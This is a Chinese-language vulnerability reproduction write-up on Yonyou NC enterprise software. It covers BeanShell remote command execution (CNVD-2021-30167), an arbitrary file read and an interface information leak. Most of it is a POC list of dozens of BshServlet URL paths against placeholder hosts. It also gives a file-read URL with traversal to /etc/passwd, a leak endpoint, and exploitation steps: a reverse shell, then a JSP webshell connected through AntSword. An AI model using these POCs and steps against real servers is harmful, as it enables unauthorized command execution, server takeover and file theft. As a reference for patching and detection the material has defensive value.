用友NC BeanShell命令执行漏洞（CNVD-2021-30167）+任意文件读取漏洞+接口信息泄露

用友NC是一款企业级管理软件，在大中型企业广泛使用。实现建模、开发、继承、运行、管理一体化的IT解决方案信息化平台。用友 NC bsh.servlet.BshServlet 存在远程命令执行漏洞，通过BeanShell 执行远程命令获取服务器权限。

命令执行漏洞复现

漏洞POC

 http://x.x.x.x/service/~aim/bsh.servlet.BshServlet
 http://x.x.x.x/service/~alm/bsh.servlet.BshServlet
 http://x.x.x.x/service/~ampub/bsh.servlet.BshServlet
 http://x.x.x.x/service/~arap/bsh.servlet.BshServlet
 http://x.x.x.x/service/~aum/bsh.servlet.BshServlet
 http://x.x.x.x/service/~cc/bsh.servlet.BshServlet
 http://x.x.x.x/service/~cdm/bsh.servlet.BshServlet
 http://x.x.x.x/service/~cmp/bsh.servlet.BshServlet
 http://x.x.x.x/service/~ct/bsh.servlet.BshServlet
 http://x.x.x.x/service/~dm/bsh.servlet.BshServlet
 http://x.x.x.x/service/~erm/bsh.servlet.BshServlet
 http://x.x.x.x/service/~fa/bsh.servlet.BshServlet
 http://x.x.x.x/service/~fac/bsh.servlet.BshServlet
 http://x.x.x.x/service/~fbm/bsh.servlet.BshServlet
 http://x.x.x.x/service/~ff/bsh.servlet.BshServlet
 http://x.x.x.x/service/~fip/bsh.servlet.BshServlet
 http://x.x.x.x/service/~fipub/bsh.servlet.BshServlet
 http://x.x.x.x/service/~fp/bsh.servlet.BshServlet
 http://x.x.x.x/service/~fts/bsh.servlet.BshServlet
 http://x.x.x.x/service/~fvm/bsh.servlet.BshServlet
 http://x.x.x.x/service/~gl/bsh.servlet.BshServlet
 http://x.x.x.x/service/~hrhi/bsh.servlet.BshServlet
 http://x.x.x.x/service/~hrjf/bsh.servlet.BshServlet
 http://x.x.x.x/service/~hrpd/bsh.servlet.BshServlet
 http://x.x.x.x/service/~hrpub/bsh.servlet.BshServlet
 http://x.x.x.x/service/~hrtrn/bsh.servlet.BshServlet
 http://x.x.x.x/service/~hrwa/bsh.servlet.BshServlet
 http://x.x.x.x/service/~ia/bsh.servlet.BshServlet
 http://x.x.x.x/service/~ic/bsh.servlet.BshServlet
 http://x.x.x.x/service/~iufo/bsh.servlet.BshServlet
 http://x.x.x.x/service/~modules/bsh.servlet.BshServlet
 http://x.x.x.x/service/~mpp/bsh.servlet.BshServlet
 http://x.x.x.x/service/~obm/bsh.servlet.BshServlet
 http://x.x.x.x/service/~pu/bsh.servlet.BshServlet
 http://x.x.x.x/service/~qc/bsh.servlet.BshServlet
 http://x.x.x.x/service/~sc/bsh.servlet.BshServlet
 http://x.x.x.x/service/~scmpub/bsh.servlet.BshServlet
 http://x.x.x.x/service/~so/bsh.servlet.BshServlet
 http://x.x.x.x/service/~so2/bsh.servlet.BshServlet
 http://x.x.x.x/service/~so3/bsh.servlet.BshServlet
 http://x.x.x.x/service/~so4/bsh.servlet.BshServlet
 http://x.x.x.x/service/~so5/bsh.servlet.BshServlet
 http://x.x.x.x/service/~so6/bsh.servlet.BshServlet
 http://x.x.x.x/service/~tam/bsh.servlet.BshServlet
 http://x.x.x.x/service/~tbb/bsh.servlet.BshServlet
 http://x.x.x.x/service/~to/bsh.servlet.BshServlet
 http://x.x.x.x/service/~uap/bsh.servlet.BshServlet
 http://x.x.x.x/service/~uapbd/bsh.servlet.BshServlet
 http://x.x.x.x/service/~uapde/bsh.servlet.BshServlet
 http://x.x.x.x/service/~uapeai/bsh.servlet.BshServlet
 http://x.x.x.x/service/~uapother/bsh.servlet.BshServlet
 http://x.x.x.x/service/~uapqe/bsh.servlet.BshServlet
 http://x.x.x.x/service/~uapweb/bsh.servlet.BshServlet
 http://x.x.x.x/service/~uapws/bsh.servlet.BshServlet
 http://x.x.x.x/service/~vrm/bsh.servlet.BshServlet
 http://x.x.x.x/service/~yer/bsh.servlet.BshServlet

访问出现这个页面

可能存在漏洞（还有一种情况是，存在这个界面但不能执行命令）

漏洞利用思路

1.使用反弹Shell方式进行获取权限。

2.关于Webshell，在权限足够的条件下，可以尝试写入JSP木马，通过蚁剑连接，拿到Shell。

任意文件读取漏洞

filename参数可以读取下列所有文件，在某些情况下可以读取利用目录穿越可读取/etc/passwd等文件

poc：

http://x.x.x.x:xxxx/NCFindWeb?service=IPreAlertConfigService&filename=/

如图所示，可以读取到根目录下所有文件，也可以读取到文件内容。

接口信息泄露

poc：

http://x.x.x.x:xxxx/uapws/service